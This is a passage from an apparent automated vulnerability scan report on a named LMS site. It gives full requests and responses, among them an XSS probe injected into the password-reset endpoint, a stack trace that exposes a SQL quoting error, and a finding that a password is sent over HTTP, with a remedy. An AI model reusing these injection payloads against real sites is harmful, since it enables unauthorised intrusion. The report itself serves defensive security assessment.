agt.indexOf("opera/2") != -1); var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1); var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1); var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1); var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4); var is_webtv = (agt.indexOf("webtv") != -1); var is_TVNavigator = ((agt.indexOf("navio") != -1) || (agt.indexOf("navio_aoltv") != -1)); var is_AOLTV = is_TVNavigator; var is_hotjava = (agt.indexOf("hotjava") != -1); var is_hotjava3 = (is_hotjava && (is_major == 3)); var is_hotjava3up = (is_hotjava && (is_major >= 3)); // *** JAVASCRIPT VERSION CHECK *** var is_js; if (is_nav2 || is_ie3) is_js = 1.0; else if (is_nav3) is_js = 1.1; else if (is_opera5up) is_js = 1.3; else if (is_opera) is_js = 1.1; else if ((is_nav4 && (is_minor <= 4.05)) || is_ie4) is_js = 1.2; else if ((is_nav4 && (is_minor > 4.05)) || is_ie5) is_js = 1.3; else if (is_hotjava3up) is_js = 1.4; else if (is_nav6 || is_gecko) is_js = 1.5; // NOTE: In the future, update this code when newer versions of JS // are released. For now, we try to provide some upward compatibility // so that future versions of Nav and IE will show they are at // *least* JS 1.x capable. Always check for JS version compatibility // with > or >=. else if (is_nav6up) is_js = 1.5; // NOTE: ie5up on mac is 1.4 else if (is_ie5up) is_js = 1.3 // HACK: no idea for other browsers; always check for JS version with > or >= else is_js = 0.0; // *** PLATFORM *** var is_win = ( (agt.indexOf("win")!=-1) || (agt.indexOf("16bit")!=-1) ); // NOTE: On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all // Win32, so you can't distinguish between Win95 and WinNT. var is_win95 = ((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)); // is this a 16 bit compiled version? var is_win16 = ((agt.indexOf("win16")!=-1) || (agt.indexOf("16bit")!=-1) || (agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("windows 16-bit")!=-1) ); var is_win31 = ((agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("win16")!=-1) || (agt.indexOf("windows 16-bit")!=-1)); var is_winme = ((agt.indexOf("win 9x 4.90")!=-1)); var is_win2k = ((agt.indexOf("windows nt 5.0")!=-1)); // NOTE: Reliable detection of Win98 may not be possible. It appears that: // - On Nav 4.x and before you'll get plain "Windows" in userAgent. // - On Mercury client, the 32-bit version will return "Win98", but // the 16-bit version running on Win98 will still return "Win95". var is_win98 = ((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)); var is_winnt = ((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)); var is_win32 = (is_win95 || is_winnt || is_win98 || ((is_major >= 4) && (navigator.platform == "Win32")) || (agt.indexOf("win32")!=-1) || (agt.indexOf("32bit")!=-1)); var is_os2 = ((agt.indexOf("os/2")!=-1) || (navigator.appVersion.indexOf("OS/2")!=-1) || (agt.indexOf("ibm-webexplorer")!=-1)); var is_mac = (agt.indexOf("mac")!=-1); // hack ie5 js version for mac if (is_mac && is_ie5up) is_js = 1.4; var is_mac68k = (is_mac && ((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1))); var is_macppc = (is_mac && ((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1))); var is_sun = (agt.indexOf("sunos")!=-1); var is_sun4 = (agt.indexOf("sunos 4")!=-1); var is_sun5 = (agt.indexOf("sunos 5")!=-1); var is_suni86= (is_sun && (agt.indexOf("i86")!=-1)); var is_irix = (agt.indexOf("irix") !=-1); // SGI var is_irix5 = (agt.indexOf("irix 5") !=-1); var is_irix6 = ((agt.indexOf("irix 6") !=-1) || (agt.indexOf("irix6") !=-1)); var is_hpux = (agt.indexOf("hp-ux")!=-1); var is_hpux9 = (is_hpux && (agt.indexOf("09.")!=-1)); var is_hpux10= (is_hpux && (agt.indexOf("10.")!=-1)); var is_aix = (agt.indexOf("aix") !=-1); // IBM var is_aix1 = (agt.indexOf("aix 1") !=-1); var is_aix2 = (agt.indexOf("aix 2") !=-1); var is_aix3 = (agt.indexOf("aix 3") !=-1); var is_aix4 = (agt.indexOf("aix 4") !=-1); var is_linux = (agt.indexOf("inux")!=-1); var is_sco = (agt.indexOf("sco")!=-1) || (agt.indexOf("unix_sv")!=-1); var is_unixware = (agt.indexOf("unix_system_v")!=-1); var is_mpras = (agt.indexOf("ncr")!=-1); var is_reliant = (agt.indexOf("reliantunix")!=-1); var is_dec = ((agt.indexOf("dec")!=-1) || (agt.indexOf("osf1")!=-1) || (agt.indexOf("dec_alpha")!=-1) || (agt.indexOf("alphaserver")!=-1) || (agt.indexOf("ultrix")!=-1) || (agt.indexOf("alphastation")!=-1)); var is_sinix = (agt.indexOf("sinix")!=-1); var is_freebsd = (agt.indexOf("freebsd")!=-1); var is_bsd = (agt.indexOf("bsd")!=-1); var is_unix = ((agt.indexOf("x11")!=-1) || is_sun || is_irix || is_hpux || is_sco ||is_unixware || is_mpras || is_reliant || is_dec || is_sinix || is_aix || is_linux || is_bsd || is_freebsd); var is_vms = ((agt.indexOf("vax")!=-1) || (agt.indexOf("openvms")!=-1)); var is_java = (navigator.javaEnabled()) ? true : false; var is_cookie = (navigator.cookieEnabled) ? true : false; //--> end hide JavaScript </script> <script language="JavaScript"> // this is where we write out the VBScript for MSIE Windows var WM_startTagFix = '</'; var msie_windows = 0; if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { msie_windows = 1; document.writeln('<script language="VBscript">'); document.writeln('\'This will scan for plugins for all versions of Internet Explorer that have a VBscript engine version 2 or greater.'); document.writeln('\'This includes all versions of IE4 and beyond and some versions of IE 3.'); document.writeln('Dim WM_detect_through_vb'); document.writeln('WM_detect_through_vb = 0'); document.writeln('If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_detect_through_vb = 1'); document.writeln('End If'); document.writeln('Function WM_activeXDetect(activeXname)'); document.writeln(' on error resume next'); document.writeln(' If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' WM_activeXDetect = IsObject(CreateObject(activeXname))'); document.writeln(' If (err) then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln(' Else'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln('End Function'); document.writeln(WM_startTagFix+'script>'); } /* This script block will test all user agents that have a real plug-in array (i.e. Netscape) and set the variables, otherwise it directs the routine to WM_activeXDetect to detect the activeX control. */ function WM_pluginDetect(plugindescription, pluginxtension, pluginmime, activeXname) { var i,plugin_undetectable=0,detected=0, daPlugin=new Object(); /* Then we check to see if it's an MSIE browser that you can actually check for the plugin in question. */ if (msie_windows && WM_detect_through_vb){ plugin_undetectable = 0; } else { plugin_undetectable = 1; } /* If it has a real plugins or mimetypes array, we look there for the plugin first */ if(navigator.plugins) { numPlugins = navigator.plugins.length; if (numPlugins > 1) { if (navigator.mimeTypes && navigator.mimeTypes[pluginmime] && navigator.mimeTypes[pluginmime].enabledPlugin && (navigator.mimeTypes[pluginmime].suffixes.indexOf(pluginxtension) != -1)) { // seems like we have it, let's just make sure and check the version (if specified) if ((navigator.appName == 'Netscape') && (navigator.appVersion.indexOf('4.0') != -1)) { for(i in navigator.plugins) { if ((navigator.plugins[i].description.indexOf(plugindescription) != -1) || (i.indexOf(plugindescription) != -1)) { // some versions of quicktime have no description. feh! detected=1; break; } } } else { for (i = 0; i < numPlugins; i++) { daPlugin = navigator.plugins[i]; if ((daPlugin.description.indexOf(plugindescription) != -1) || (daPlugin.name.indexOf(plugindescription) != -1)) { detected=1; break; } } } // Mac weirdness if (navigator.mimeTypes[pluginmime] == null) { detected = 0; } } return detected; } else if((msie_windows == 1) && !plugin_undetectable) { return WM_activeXDetect(activeXname); } else { return 0; } } else { return 0; } } </script> <script> <!-- var hasFlash = WM_pluginDetect('Flash', 'swf', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash'); var flashVersion = 0; if(WM_pluginDetect('Flash 9', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.9')) { flashVersion = 9; }else if(WM_pluginDetect('Flash 8', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.8')) { flashVersion = 8; }else if(WM_pluginDetect('Flash 7', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.7')) { flashVersion = 7; }else if(WM_pluginDetect('Flash 6', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.6')) { flashVersion = 6; } else if(WM_pluginDetect('Flash 5', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.5')) { flashVersion = 5; } else if(WM_pluginDetect('Flash 4', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.4')) { flashVersion = 4; } else if(WM_pluginDetect('Flash 3', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.3')) { flashVersion = 3; } else if(WM_pluginDetect('Flash 2', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.2')) { flashVersion = 2; } //--> var IBChk=false,IBVChk=false,CookiesChk=false,FlashPChk=false,JREChk=false,PopupBChk=false </script></head><body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="eval('document.loginform.replace0_ul_').focus();" class="loginbodyB..
- /sendpassword

/sendpassword CONFIRMED

http://learn.bridgefront.com/sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&repla..

Parameters

Parameter Type Value
totalvalues GET 3
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET '"--></style></script><script>alert(0x00050A)</script>
replace1_ul_ GET 3

Request

GET /sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00050A)%3C/script%3E&replace1_ul_=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=1B3FB576C860FF50C5478C31E0BD27CE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:20:10 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6857
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00050A)%3C/script%3E&replace1_ul_=3
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: unterminated quoted identifier at or near ""--></style></script><script>netsparker(0x00050A)</script>'" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.general.SendPassword.doGet(SendPassword.java:54) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.general.SendPassword.sendErrorRedirect(SendPassword.java:141) at com.general.SendPassword.doGet(SendPassword.java:115) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
Password Transmitted Over HTTP

Password Transmitted Over HTTP
1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /

/ CONFIRMED

http://learn.bridgefront.com/

Form target action

/logincontroller

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:16:45 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=9E7B7DC5BD17EC41DDE53C50F28B0C6B; Path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <title>BridgeFront | LMS | Login</title><link href="/lscheme/default/css/Learner.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/LearnerSideJsFunctions.js"></script><link rel="shortcut icon" href="favicon.ico"><script>var lmsDown = false; COPYRIGHT = "&copy; BridgeFront, 2002-"; function writeCopyright() { document.write(COPYRIGHT, new Date().getFullYear()); }function submitkeyform(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} if(document.getElementById("replace2_ul_").value==""){ document.getElementById("spanreplace2_ul_").innerHTML="Key cannot be empty"; return false; }else{ if(isAnyText(document.getElementById("replace2_ul_"),MANDATORY,"Reistration Key")){ return true; } } document.getElementById("replace2_ul_").value=""; return false; }function specialValidation(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} var val1, val2; var normalValidationFlag = true; val1 = document.getElementById('replace0_ul_').value; val2 = document.getElementById('replace1_ul_').value; if(val1==''){ document.getElementById("spanreplace0_ul_").innerHTML="Username cannot be empty"; normalValidationFlag = false; } if(val2==''){ document.getElementById("spanreplace1_ul_").innerHTML="Password cannot be empty"; normalValidationFlag = false; } return normalValidationFlag;}function checkPreRequisites(){if (!FlashPChk || !IBChk || !IBVChk || !CookiesChk){//return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009}return true;}</script><noscript> <H1>Your browser does not support Javascript</H1>This page will not function correctly. </noscript> <style> .homepageborder{ border: 1px solid #A9C2C1; } .AnnouncementTitle { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleRed { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #FF0000; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleGreen { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #00AA00; text-align: left; text-indent: 2pt; vertical-align: middle; } .AnnouncementTitleBold { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 14px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } </style> <script> <!-- // Everything you always wanted to know about your JavaScript client // but were afraid to ask. Creates "is_" variables indicating: // (1) browser vendor: // is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV // (2) browser version number: // is_major (integer indicating major version number: 2, 3, 4 ...) // is_minor (float indicating full version number: 2.02, 3.01, 4.04 ...) // (3) browser vendor AND major version number // is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, // is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, // is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up // (4) JavaScript version number: // is_js (float indicating full JavaScript version number: 1, 1.1, 1.2 ...) // (5) OS platform and version: // is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k // is_os2 // is_mac, is_mac68k, is_macppc // is_unix // is_sun, is_sun4, is_sun5, is_suni86 // is_irix, is_irix5, is_irix6 // is_hpux, is_hpux9, is_hpux10 // is_aix, is_aix1, is_aix2, is_aix3, is_aix4 // is_linux, is_sco, is_unixware, is_mpras, is_reliant // is_dec, is_sinix, is_freebsd, is_bsd // is_vms // // See http://www.it97.de/JavaScript/JS_tutorial/bstat/navobj.html and // http://www.it97.de/JavaScript/JS_tutorial/bstat/Browseraol.html // for detailed lists of userAgent strings. // // Note: you don't want your Nav4 or IE4 code to "turn off" or // stop working when new versions of browsers are released, so // in conditional code forks, use is_ie5up ("IE 5.0 or greater") // is_opera5up ("Opera 5.0 or greater") instead of is_ie5 or is_opera5 // to check version in code which you want to work on future // versions. // convert all characters to lowercase to simplify testing var agt=navigator.userAgent.toLowerCase(); // *** BROWSER VERSION *** // Note: On IE5, these return 4, so use is_ie5up to detect IE5. var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); // Note: Opera and WebTV spoof Navigator. We do strict client detection. // If you want to allow spoofing, take out the tests for opera and webtv. var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1) && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1)); var is_nav2 = (is_nav && (is_major == 2)); var is_nav3 = (is_nav && (is_major == 3)); var is_nav4 = (is_nav && (is_major == 4)); var is_nav4up = (is_nav && (is_major >= 4)); var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) || (agt.indexOf("; nav") != -1)) ); var is_nav6 = (is_nav && (is_major == 5)); var is_nav6up = (is_nav && (is_major >= 5)); var is_gecko = (agt.indexOf('gecko') != -1); var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)); var is_ie3 = (is_ie && (is_major < 4)); var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) ); var is_ie4up = (is_ie && (is_major >= 4)); var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) ); var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1)); var is_ie5up = (is_ie && !is_ie3 && !is_ie4); var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5); var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) ); var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5); var is_ie7 = (is_ie && (is_major == 4) && (agt.indexOf("msie 7.")!=-1) ); // KNOWN BUG: On AOL4, returns false if IE3 is embedded browser // or if this is the first browser window opened. Thus the // variables is_aol, is_aol3, and is_aol4 aren't 100% reliable. var is_aol = (agt.indexOf("aol") != -1); var is_aol3 = (is_aol && is_ie3); var is_aol4 = (is_aol && is_ie4); var is_aol5 = (agt.indexOf("aol 5") != -1); var is_aol6 = (agt.indexOf("aol 6") != -1); var is_opera = (agt.indexOf("opera") != -1); var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1); var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1); var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1); var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1); var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4); var is_webtv = (agt.indexOf("webtv") != -1); var is_TVNavigator = ((agt.indexOf("navio") != -1) || (agt.indexOf("navio_aoltv") != -1)); var is_AOLTV = is_TVNavigator; var is_hotjava = (agt.indexOf("hotjava") != -1); var is_hotjava3 = (is_hotjava && (is_major == 3)); var is_hotjava3up = (is_hotjava && (is_major >= 3)); // *** JAVASCRIPT VERSION CHECK *** var is_js; if (is_nav2 || is_ie3) is_js = 1.0; else if (is_nav3) is_js = 1.1; else if (is_opera5up) is_js = 1.3; else if (is_opera) is_js = 1.1; else if ((is_nav4 && (is_minor <= 4.05)) || is_ie4) is_js = 1.2; else if ((is_nav4 && (is_minor > 4.05)) || is_ie5) is_js = 1.3; else if (is_hotjava3up) is_js = 1.4; else if (is_nav6 || is_gecko) is_js = 1.5; // NOTE: In the future, update this code when newer versions of JS // are released. For now, we try to provide some upward compatibility // so that future versions of Nav and IE will show they are at // *least* JS 1.x capable. Always check for JS version compatibility // with > or >=. else if (is_nav6up) is_js = 1.5; // NOTE: ie5up on mac is 1.4 else if (is_ie5up) is_js = 1.3 // HACK: no idea for other browsers; always check for JS version with > or >= else is_js = 0.0; // *** PLATFORM *** var is_win = ( (agt.indexOf("win")!=-1) || (agt.indexOf("16bit")!=-1) ); // NOTE: On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all // Win32, so you can't distinguish between Win95 and WinNT. var is_win95 = ((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)); // is this a 16 bit compiled version? var is_win16 = ((agt.indexOf("win16")!=-1) || (agt.indexOf("16bit")!=-1) || (agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("windows 16-bit")!=-1) ); var is_win31 = ((agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("win16")!=-1) || (agt.indexOf("windows 16-bit")!=-1)); var is_winme = ((agt.indexOf("win 9x 4.90")!=-1)); var is_win2k = ((agt.indexOf("windows nt 5.0")!=-1)); // NOTE: Reliable detection of Win98 may not be possible. It appears that: // - On Nav 4.x and before you'll get plain "Windows" in userAgent. // - On Mercury client, the 32-bit version will return "Win98", but // the 16-bit version running on Win98 will still return "Win95". var is_win98 = ((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)); var is_winnt = ((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)); var is_win32 = (is_win95 || is_winnt || is_win98 || ((is_major >= 4) && (navigator.platform == "Win32")) || (agt.indexOf("win32")!=-1) || (agt.indexOf("32bit")!=-1)); var is_os2 = ((agt.indexOf("os/2")!=-1) || (navigator.appVersion.indexOf("OS/2")!=-1) || (agt.indexOf("ibm-webexplorer")!=-1)); var is_mac = (agt.indexOf("mac")!=-1); // hack ie5 js version for mac if (is_mac && is_ie5up) is_js = 1.4; var is_mac68k = (is_mac && ((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1))); var is_macppc = (is_mac && ((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1))); var is_sun = (agt.indexOf("sunos")!=-1); var is_sun4 = (agt.indexOf("sunos 4")!=-1); var is_sun5 = (agt.indexOf("sunos 5")!=-1); var is_suni86= (is_sun && (agt.indexOf("i86")!=-1)); var is_irix = (agt.indexOf("irix") !=-1); // SGI var is_irix5 = (agt.indexOf("irix 5") !=-1); var is_irix6 = ((agt.indexOf("irix 6") !=-1) || (agt.indexOf("irix6") !=-1)); var is_hpux = (agt.indexOf("hp-ux")!=-1); var is_hpux9 = (is_hpux && (agt.indexOf("09.")!=-1)); var is_hpux10= (is_hpux && (agt.indexOf("10.")!=-1)); var is_aix = (agt.indexOf("aix") !=-1); // IBM var is_aix1 = (agt.indexOf("aix 1") !=-1); var is_aix2 = (agt.indexOf("aix 2") !=-1); var is_aix3 = (agt.indexOf("aix 3") !=-1); var is_aix4 = (agt.indexOf("aix 4") !=-1); var is_linux = (agt.indexOf("inux")!=-1); var is_sco = (agt.indexOf("sco")!=-1) || (agt.indexOf("unix_sv")!=-1); var is_unixware = (agt.indexOf("unix_system_v")!=-1); var is_mpras = (agt.indexOf("ncr")!=-1); var is_reliant = (agt.indexOf("reliantunix")!=-1); var is_dec = ((agt.indexOf("dec")!=-1) || (agt.indexOf("osf1")!=-1) || (agt.indexOf("dec_alpha")!=-1) || (agt.indexOf("alphaserver")!=-1) || (agt.indexOf("ultrix")!=-1) || (agt.indexOf("alphastation")!=-1)); var is_sinix = (agt.indexOf("sinix")!=-1); var is_freebsd = (agt.indexOf("freebsd")!=-1); var is_bsd = (agt.indexOf("bsd")!=-1); var is_unix = ((agt.indexOf("x11")!=-1) || is_sun || is_irix || is_hpux || is_sco ||is_unixware || is_mpras || is_reliant || is_dec || 